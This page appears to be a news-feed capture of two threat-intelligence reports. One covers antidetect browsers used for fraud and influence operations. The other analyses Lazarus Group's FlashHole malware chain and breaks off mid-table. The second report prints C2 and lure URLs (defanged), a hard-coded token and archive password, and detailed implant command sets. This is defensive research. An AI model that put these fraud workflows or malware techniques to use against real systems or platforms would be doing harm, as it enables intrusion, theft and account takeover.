Antidetect browsers conceal their users’ digital identities, enabling a single operator or small team to simultaneously run thousands of isolated accounts across multiple platforms such as Facebook, Instagram, TikTok, YouTube, Twitter/X, Discord, LinkedIn, Reddit, and many more, without triggering the detection systems employed by those platforms.

In this report, we highlight three main tools: Kameleo, AdsPower, and MultiLogin. We selected these specifically on the basis of documented references across underground forums and criminal marketplaces, indicating active adoption beyond their stated commercial purposes. Confirmed use cases include:

  • Account takeover operations in which session cookies harvested by infostealer malware are injected into clean browser profiles to assume control of banking accounts and cryptocurrency wallets without triggering authentication alerts.
  • Carding operations in which stolen payment credentials are tested across e-commerce platforms under the guise of distinct legitimate users.
  • Fraudulent loan applications submitted under fabricated identities.
  • Bulk creation of artificial accounts used to generate fraudulent advertising revenue at scale.

As documented in Anthropic’s September 2026 Threat Intelligence Report, attackers used antidetect browsers in a fraud campaign that targeted cryptocurrency exchanges and financial marketplaces. They combined antidetect browser profiles, residential proxies, automated CAPTCHA-solving, and identity-verification bypass tools to create large numbers of verified accounts while avoiding onboarding security checks. These accounts were later used in fraud operations.

The risk posed by antidetect browsers is greater because these accounts pass KYC verification, build legitimate activity histories, and appear benign during transactions. As a result, fraud detection systems that rely on user behavior or device identity often cannot identify these accounts as suspicious until after fraudulent activity has already occurred.

The antidetect browsers documented in this research are commercially available, legally registered platforms with documented legitimate use cases in digital marketing, e-commerce, and privacy protection. When deployed by threat actors, the same infrastructure that enables financial fraud at scale is equally applicable to Coordinated Inauthentic Behavior (CIB), the term used to describe organized manipulation campaigns in which false identities are central to the operation and adversarial methods are used to evade detection.

Meta’s most recent transparency reporting explicitly flagged this as a growing concern, with Russia, Iran, and China identified as the three leading sources of such activity globally.

The Identity Obfuscation Stack – How antidetect browsers defeat social media platform detection at every layer

Figure 1 – The five layers through which antidetect browsers defeat platform detection methods.

While antidetect browsers are not a new phenomenon, their threat potential has increased with the integration of AI. Previously, their operational impact was constrained by the manual effort required to run and maintain large account networks at scale. AI-assisted content generation, automated persona management, and machine-speed distribution pipelines now enables a single actor with a subscription and a prompt to do the work of a coordinated team.

In the following sections, we provide a technical breakdown of each tool, examining capabilities documented on their own platforms, underground forum references, and the specific features that position them as an emerging threat.

Figure 2 – Comparison of popular antidetect tools.

Defeating Platform Detection: The Identity Layer No Platform Can See

Companies like Meta, TikTok, and Google have spent billions of dollars building behavioral and identity detection systems to identify abuse of their platforms for scams, financial fraud, and coordinated inauthentic activity. Antidetect browsers are engineered to defeat every signal on which those systems rely.

Every antidetect browser uses fingerprint spoofing. When a browser connects to a website, it exposes dozens of identifying parameters that the website can collect to build a browser fingerprint, including canvas rendering output, WebGL vendor and renderer strings, font enumeration behavior, screen resolution, time zone, user agent, and hardware identifiers. Platforms cross-reference these signals to determine whether two accounts originate from the same device. Antidetect browsers intercept and fabricate each of these parameters individually, assigning a unique combination to every profile.

The criminal ecosystem surrounding these tools extends well beyond their commercial vendors. As seen in Figure 3, a threat actor on a Russian-language underground forum advertised an AiTM engine as a commercial service, with built-in functionality to export harvested session credentials directly into antidetect browsers. The post confirms that the pipeline from credential harvesting to antidetect-assisted account takeover is a documented, commercially available and actively traded workflow with dedicated tooling, published instructions, and an active buyer community.

Figure 3 – An AiTM engine advertised as a commercial service on a Russian-language underground forum, with built-in functionality to export harvested session credentials directly into antidetect browsers.

Kameleo

Modifying browser engines at the source level rather than applying surface overrides, Kameleo produces fingerprints drawn from real device signatures, making them significantly harder to flag as anomalous. Its adoption within criminal ecosystems is evidenced by its repeated appearance across the most active Russian-language hacking forums. As seen in Figure 4, Kameleo is listed alongside other antidetect browsers in a post by a proxy seller on an underground forum, advertising residential proxy services explicitly marketed for account farming, CAPTCHA bypass, and shield evasion against security systems including DataDome, the same platform for which Kameleo’s own blog publishes dedicated bypass guides.

Figure 4 – A proxy seller on an underground forum listing Kameleo as part of a complete operational stack. The service is explicitly marketed for account farming and bulk account management.

Kameleo’s engineering team published a guide detailing how to automate Facebook likes across multiple accounts simultaneously using precisely this fingerprint manipulation. As seen in Figure 5, evading platform detection is not a side effect but the tool’s primary operational value.

Figure 5 – Kameleo’s guide on how to automate Facebook likes across multiple accounts simultaneously using browser fingerprint manipulation.

Beyond fingerprinting, Kameleo suppresses WebRTC, a protocol that can leak a device’s real IP address even when a proxy is active, and provides explicit configuration options to prevent non-proxied UDP connections. The documentation frames this not as a privacy feature but as a counter to a known de-anonymization vector used by platform security teams.

At the session layer, Kameleo’s dedicated cookie injection API accepts complete cookie objects including session IDs, refresh tokens, and authentication flags, allowing a pre-authenticated session state to be inserted into a profile before it is launched. The platform sees the profile as an already-authenticated user, with no login event occurring to trigger anomaly detection. As independently documented by threat intelligence research and confirmed by security researchers, this workflow is established and active in the criminal ecosystem. Figure 6 shows a recruitment post on a Russian-language underground forum advertising a multifunctional infostealer with RAT capabilities explicitly designed to operate within antidetect browser environments, listing Kameleo, AdsPower, and MultiLogin among 21 compatible platforms capable of harvesting session cookies, authentication tokens, cryptocurrency wallets, API keys, and 2FA credentials.

Figure 6 – A recruitment post on a Russian-language underground forum lists 21 browsers including Kameleo, AdsPower, and MultiLogin as compatible platforms.

As seen in Figure 7, a threat actor on a Russian-language underground hacking forum explicitly introduces Kameleo as a component of Browser-in-the-Middle phishing kits targeting credentials across Google, Microsoft, Facebook, and financial platforms. In a Browser-in-the-Middle attack, the phishing server instructs the antidetect browser to create a new profile for the victim, assigned a residential proxy in their country and a clean device fingerprint. The victim’s credentials, entered on the phishing page, are passed in real time into the real login page of the target service through an automation framework. The target platform sees a login attempt from a consistent, locally coherent device with a residential IP address in the expected country, none of the signals that would trigger a security challenge or step-up authentication.

Figure 7 – A post on a Russian-language underground hacking forum introducing Kameleo as a component of Browser-in-the-Middle phishing kits targeting credentials across Google, Microsoft, Facebook, and financial platforms.

AdsPower

Chinese in origin and subsequently registered across multiple jurisdictions and localized into more than 20 languages, AdsPower applies fingerprint spoofing logic across more than 20 configurable parameters per profile and advertises a 99.2% ban avoidance rate. As seen in Figure 8, its proxy editor provides a built-in catalog of compatible third-party residential and rotating proxy providers, assignable directly within the profile creation interface. Figure 9 illustrates the granularity of fingerprint control available, with each profile’s WebRTC handling, time zone, geolocation, and language individually configurable to ensure the synthetic identity is consistent across every detectable signal.

Figure 8 – AdsPower’s proxy integration interface lists compatible third-party residential and rotating proxy providers available within the platform.

Figure 9 – AdsPower’s fingerprint editor displaying granular per-profile identity parameters including WebRTC, timezone and location derived from the assigned proxy IP.

The scale of AdsPower’s intended use is reflected in its pricing structure, with published tiers supporting up to 5,000 distinct profiles as seen in Figure 10, and enterprise arrangements available on request. As seen in Figure 11, its account editor supports platforms spanning social media, e-commerce, financial services, and professional networks including Facebook, Amazon, LinkedIn, X, PayPal, and Google.

Figure 10 – AdsPower’s pricing table reflects the intended operational scale, with enterprise tiers supporting more than 5,000 profiles available upon request.

Figure 11 – AdsPower’s account editor shows supported platforms available for bulk profile management, including Facebook, Amazon, LinkedIn, X, PayPal, and Google.

Scalability is further addressed through a built-in RPA engine and a dedicated Marketplace, as seen in Figure 12, offering pre-built templates for automated liking, commenting, direct messaging, follower scraping, and AI-assisted engagement across hundreds of profiles simultaneously. The multi-window synchronizer replicates identical actions across hundreds of profiles from a single input, while account warming automation builds synthetic activity histories over weeks to reduce platform suspicion before deployment.

Figure 12 – AdsPower’s RPA Marketplace lists pre-built automation templates for bulk account activity across major platforms, including automated liking, commenting, direct messaging, follower scraping, and AI-assisted engagement.

On the AI front, AdsPower advertises a dedicated Model Context Protocol server enabling direct integration with large language model workflows, creating a pipeline in which AI-generated content can be produced, injected into pre-warmed account profiles, and distributed across platforms in a fully automated sequence requiring no human involvement. A companion feature, the Cookie Robot, automates cookie warming on TikTok and Twitter/X accounts prior to operational use. The RPA Marketplace is the delivery mechanism for this pipeline, with ready-to-deploy workflows designed to operate in direct combination with AI-generated content, resulting in an end-to-end operation at a scale and speed previously associated only with state-sponsored actors.

As seen in Figure 13, AdsPower’s own published scraping guide explicitly acknowledges that scraping Facebook constitutes a violation of the platform’s terms of service and may result in legal action, before advising users that an antidetect browser can help bypass these limitations.

Figure 13 – AdsPower’s official scraping guide advises users that an antidetect browser can help bypass scraping limitations.

MultiLogin

MultiLogin operates as a fully featured antidetect browser platform, offering isolated browser profiles with unique device fingerprints covering canvas output, WebGL parameters, fonts, timezone, screen resolution, and user agent, with each profile maintaining separate cookies, local storage, and session data. The platform supports automation through Selenium, Playwright, and Puppeteer, enabling fully scripted, headless operation of multiple profiles simultaneously. MultiLogin has been referenced on Exploit, a Russian-language underground hacking forum, in a thread dedicated to antidetect browsers, indicating active discussion and adoption of the platform within criminal communities (see Figure 6).

MultiLogin extends its multi-account capability into the mobile layer through a phone farming infrastructure that replaces physical Android devices with cloud-hosted equivalents. Every cloud Android profile maintains its own persistent mobile device parameters, with proxies assigned per profile to control location and network identity. MultiLogin’s own documentation states that most account bans in phone farm environments occur due to multiple accounts sharing the same device signals, storage, or network patterns, and positions its product as the solution to this detection problem, an explicit acknowledgment that the platform is designed to defeat association detection at the mobile layer.

According to their website, virtual phone number provisioning through partner integrations enables SMS-based account verification without physical SIM cards or mobile devices. Each virtual number is paired with a mobile device fingerprint profile, enabling the rapid creation of large volumes of accounts that appear to originate from distinct mobile devices across different geographic locations.

MultiLogin maintains a dedicated web scraping solution page and publishes operational guides for scraping platforms including Facebook, LinkedIn, Amazon, and Twitter, with its built-in residential proxy infrastructure marketed as enabling scraping operations that bypass bot detection and IP-based rate limiting. Its stated use cases listed on its own website include ticket scalping automation, a practice explicitly illegal in multiple jurisdictions and prohibited by major ticketing platforms, with the platform’s infrastructure documented as tested daily against major ticketing services for compatibility. MultiLogin additionally lists AI Quick Actions Automation among its documented product capabilities, indicating a degree of AI integration into its operational workflow.

As seen in Figure 14, MultiLogin’s payment infrastructure accepts cryptocurrency alongside credit card payments and regional systems including SberPay and YooMoney. Notably, YooMoney has been designated on the OFAC Specially Designated Nationals list since April 2022 under Executive Order 14024 as a Sberbank subsidiary, and SberPay operates as a product of Sberbank, itself under comprehensive OFAC blocking sanctions since February 2022. The acceptance of these payment methods, alongside cryptocurrency, enables anonymous and potentially sanctions-non-compliant transactions. MultiLogin offers 24/7 support through dedicated Telegram channels staffed by human representatives and is tested daily against more than 50 major social media platforms to ensure continued compatibility. Taken together, MultiLogin’s mobile infrastructure, AI automation layer, scraping capabilities, criminal community presence, and payment infrastructure make it one of the most operationally complete platforms in this category.

Figure 14 – MultiLogin’s payment infrastructure accepts a variety of different payment services.

AI-Powered Campaign Infrastructure

The most consequential recent development is AI integration directly into the operational stack. AdsPower advertises a dedicated Model Context Protocol server enabling direct integration with large language model workflows, creating a pipeline in which AI-generated content can be produced, injected into pre-warmed account profiles, and distributed across platforms in a fully automated sequence requiring no human involvement. A companion feature, the Cookie Robot, automates cookie warming on TikTok and Twitter/X accounts prior to operational use, simulating browsing behavior to establish account credibility before the content distribution phase begins.

The RPA Marketplace mentioned in the previous section is the delivery mechanism for this pipeline. Available templates contain ready-to-deploy workflows maintained and updated by the vendor, designed to operate in direct combination with AI-generated content. This creates an end-to-end influence operation pipeline that requires no active operator presence once the campaign is initiated. The result is a single automated workflow that places coordinated influence operation capacity within reach of any sufficiently motivated actor, regardless of resources or technical expertise.

Web Scraping as Operational Intelligence

The web scraping capabilities documented across these platforms serve a function that extends well beyond data collection. Scraped data is the intelligence layer that makes the operation more precise. Several of the tools we reviewed maintain dedicated scraping solution pages describing capabilities including fingerprint rotation, CAPTCHA bypass, and headless browsing designed to extract data from platforms including LinkedIn, Amazon, Facebook, and Twitter while evading their anti-scraping defenses. As seen in Figure 13, the AdsPower published scraping guide explicitly acknowledges that scraping Facebook constitutes a violation of the platform’s terms of service and may result in legal action, before advising users that an antidetect browser can help bypass these limitations.

The combination of well-farmed personas and targeted scraping capabilities enables a precision influence operation at scale.

Workflow:

  1. An artificial account, warmed up over several weeks of simulated activity, accumulates sufficient credibility to be accepted into a closed group on a social media platform.
  2. Once inside, the platform’s scraping infrastructure extracts available information on every member, including names, profile data, religious affiliations, political interests, age, geographic markers, and engagement patterns.
  3. The harvested dataset becomes the targeting intelligence for a bulk coordinated campaign, allowing artificial personas to engage each member with content calibrated to their specific profile, amplify narratives that resonate with the group’s demonstrated interests, and simulate the kind of peer validation that drives genuine behavioral change.

A Sophisticated and Professionally Maintained Ecosystem

The commercial availability of these tools reflects a fundamental shift in the influence-operation threat landscape: what was once the domain of well-resourced state actors and advanced persistent threat groups is now accessible to any motivated individual with a credit card. These are all professionally maintained, customer-supported, multilingual software platforms with pricing pages, knowledge bases, release notes, and dedicated sales teams. The only barrier to running a large-scale coordinated inauthentic operation is not a user’s technical sophistication but the need to pay a subscription fee.

The language coverage and market reach of these tools reflects the scale of their intended user base. AdsPower is available in 20 languages. MultiLogin supports English, Chinese, Russian, Vietnamese, and Portuguese, and is tested daily against more than 50 platforms. Kameleo maintains a public blog catalog of dedicated technical guides on bypassing Cloudflare bot detection, defeating DataDome, and solving Cloudflare Turnstile challenges, which are all security systems deployed specifically to identify and block automated or inauthentic browser sessions.

The customer support infrastructure surrounding these tools mirrors that of legitimate enterprise software, with MultiLogin offering 24/7 support through dedicated Telegram channels staffed by human representatives. As seen in Figure 14, MultiLogin’s payment infrastructure accepts cryptocurrency alongside credit card payments and regional systems including SberPay and YooMoney, both Russian payment services.

As seen in Figure 15, independent threat actors have developed and are actively selling purpose-built antidetect solutions on underground forums, complete with feature documentation, technical support, and monthly subscription pricing. This particular tool targets Android devices specifically, offering automated geolocation spoofing, device ID replacement, Wi-Fi environment manipulation, and Play Integrity bypass at 100 USD per month, reflecting the breadth of threat actor demand across different device categories and operational requirements.

As seen in Figure 16, the downstream commercial activity built on this infrastructure extends to farmed platform accounts advertised for sale on underground forums alongside explicit instructions to access them using antidetect browsers. Cryptocurrency is the default payment method. These posts confirm a mature commercial underground market in which these antidetect tools function as the operational backbone of a broader fraud and influence ecosystem.

Figure 15 – An antidetect tool designed for Android devices advertised on an underground forum, offers automated geolocation spoofing, device ID replacement, and Play Integrity bypass at 100 USD per month.

Figure 16 – Farmed Google Ads accounts advertised for sale on an underground forum.

Conclusion

The antidetect browser ecosystem represents a sophisticated, commercially mature, and increasingly AI-driven infrastructure that has fundamentally lowered the barrier to running scam and fraud operations, as well as coordinated inauthentic operations at scale. These commercially maintained tools are available in dozens of languages, backed by customer support teams, tested daily against the world’s largest social media platforms, and are now integrated with LLM pipelines that remove the human operator from the execution layer. The coupling of identity spoofing infrastructure, automated content distribution, and AI-assisted persona management represents a threat surface that platform detection systems may struggle to address, particularly in the context of elections taking place across multiple countries.

The infrastructure we documented is commercially available today. Its capabilities are not constrained by technical sophistication, national resources, or operational scale. The question is no longer whether these tools are being actively used for fraud, account takeover, and coordinated manipulation, but whether the detection, enforcement, and awareness frameworks across every layer of the ecosystem are prepared to counter them.

Recommendations

Security and threat intelligence teams:

  • The detection priority should shift from the account and behavioral layer, where these tools are already designed to appear invisible, to the network and infrastructure layer.
  • Indicators include residential proxy infrastructure operating at scale, WebRTC suppression patterns, anomalous cookie injection sequences, and known antidetect browser user agent strings in web traffic logs.
  • Account warming patterns, simulated by these tools over several weeks, may be indistinguishable from legitimate organic behavior without cross-referencing device fingerprint consistency over time.

Social media platforms:

  • Antidetectbrowser infrastructure should be treated as a first-class priority.
  • The capabilities operate below existing detection thresholds, and infrastructure-layer signals may be the only reliable detection surface available.
  • Platforms should consider actively acquiring and reverse engineering antidetect tools to map their proxy patterns, fingerprint rotation behaviors, and detection bypass mechanisms, and use those findings to recalibrate banning logic specifically against these tools’ TTPs.

CISOs and companies:

  • The risk posed by antidetect browser infrastructure extends well beyond influence operations.
  • Silent account takeover using cookie injection workflows can bypass multi-factor authentication without generating a login event.
  • Organizations are advised to review whether their session monitoring infrastructure can detect pre-authenticated session anomalies, and to incorporate antidetect-specific attack scenarios into red team exercises and threat models.
  • Threat actors can leverage antidetect browsers to replicate victim device fingerprints and geolocation to execute unauthorized transactions without triggering behavioral anomaly detection.
  • Fraud detection systems that rely on device consistency and session continuity signals should be specifically reviewed for resilience against fingerprint spoofing and session injection at the identity infrastructure layer.

The post The Risk of AI-Powered Antidetect Browsers in Online Fraud and Influence Operations appeared first on Check Point Research.

  • ✇Securelist
  • Operation FlashHole: Lazarus breaks security, defies control Sojun Ryu
    In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links
     

Operation FlashHole: Lazarus breaks security, defies control

20 de Outubro de 2026, 23:07

In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.

Operation FlashHole attack flow during initial compromise

Operation FlashHole attack flow during initial compromise

Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.

Background

After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.

We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory.

As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.

In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section.

Initial infection vector

Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.

Appearance of the malicious websites

Appearance of the malicious websites

The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (1, 2). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.

Suspected use of an AI-generated image on the résumé site

Suspected use of an AI-generated image on the résumé site

The websites contained embedded links that loaded an external JavaScript file via a script tag.

  • Malicious link embedded in the résumé site: hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js
  • Malicious link embedded in interior design site: hxxps://pythonapischool[.]com/api/detach

Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.

Full infection chain

Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.

Initial infection chain

Initial infection chain

Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.

Expanded infection chain after gaining persistence

Expanded infection chain after gaining persistence

Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.

Malware set

The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.

TechHub – the start of the chain

TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.

This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.

We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.

When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.

  1. It creates a new issue titled 1[ID] with the body “hel” using the POST /issues request, and sets its status to open.
  2. It then retrieves a file from the repository containing the 2[ID] value in its name. This file contains the RSA public key.
  3. It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with 1[ID], to the repository.
  4. The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.

During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.

After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number]. The malware is now fully prepared to receive commands from the repository.

TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.

Command Description
mqdrz Collect information about the device and its running processes
laeca Directly invoke the received shellcode in memory
aqvxp Terminate the current process
rtcya Beaconing after finishing the handshake process

Cubridge – the framework orchestrator

Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.

To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3]. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999. Consequently, each generated URL is designed to appear authentic and remain unique for each request.

The predefined list for page1 is shown below. TechHub randomly selects one item from the list.

economy, opinion, politics, national, international, medical, investment, sports, lifestyle, shopping, culture

The predefined word list for page2 is shown below.

article, list, story

This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above.

Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (KW4Ofw982CNJjxd51AVqkGAop), and a randomly generated 16‑byte hexadecimal session ID.

Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data.

Cubridge's communication sequence

Cubridge’s communication sequence

Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:

  • Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);
  • Tools (in DLL form) – independent utilities that perform one-off tasks;
  • Modules – components that are loaded once and remain active providing an extended set of functionalities.

It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed.

Command Payload type Description
0 – Collect device info including the computer name, time zone, PID, and other similar details
1 Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
2 Create a file at the specified path
3 Possibly plugin Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection
4 Plugin Reflectively load a plugin in DLL format
5 Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters
6 Retrieve all information about the loaded plugins
7 Unload the specified plugin
8 Shellcode Inject the provided shellcode into the target process and load it using section mapping injection
9 Load the provided shellcode directly into memory
10 Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter
11 Retrieve all information about the loaded shellcode
12 Unload the specified shellcode
13 – Set the scheduled Cubridge execution time (in minutes) by updating a global variable
14 Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable
15 Terminate in a controlled manner
16 Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc.
17 Update the global flags, the number of C2 servers, the C2 addresses, etc.
18 Tool Load a DLL reflectively with the specified parameter
19 Configure the parameters for loading a single DLL
20 Unload the single DLL
21 Module Load the “action module” (ActionModule.dll) reflectively and invoke its AppinfoView export function
22 Load the “function module” (FunctionModule.dll) reflectively and invoke its PresentationFontConfig export function

Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41, and the function module handles commands 42–79.

The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41. Execution results are first sent to Cubridge, which then forwards them to the C2 server.

Command Role
23 Get local disk space for each drive
24 Get information about the specified file or directory
25 Execute the provided command
26 Get information about the specified file or directory (similar to command 24)
27 Execute the provided command under the target process (PPID spoofing)
28 Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation)
29 Get detailed information about processes
30 Terminate the provided process
31 Suspend all threads belonging to the specified process
32 Resume all threads belonging to the specified process
33 Permanently delete the file by overwriting its entire contents with the sequence: 0 → 1 → random bytes → 1 → 0
34 Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API SetFileInformationByHandle
35 Set the current working directory
36 Copy the specified file to the provided path
37 Delete the specified directory
38 Move the specified file to the provided path
39 Create the provided directory
40 Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning)
41 Read the specified file

The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.

Command Role
42 Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
43 Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument
44 Get information about the specified directory
45 Get information about the specified drive
46 Inject the provided DLL payload into the target process
47 Unload the specified DLL from the specified process
48 Implementation of the ipconfig command
49 Implementation of the net command
50 Implementation of the netsh advfirewall firewall command
51 Implementation of the netstat command
52 Implementation of the ping -6 command
53 Implementation of the reg command
54 Implementation of the sc command
55 Implementation of the ping command
56 Implementation of the whoami command
57 Implementation of the nslookup command
58 Implementation of the schtasks command
59 Implementation of the systeminfo command
60 Implementation of the arp command
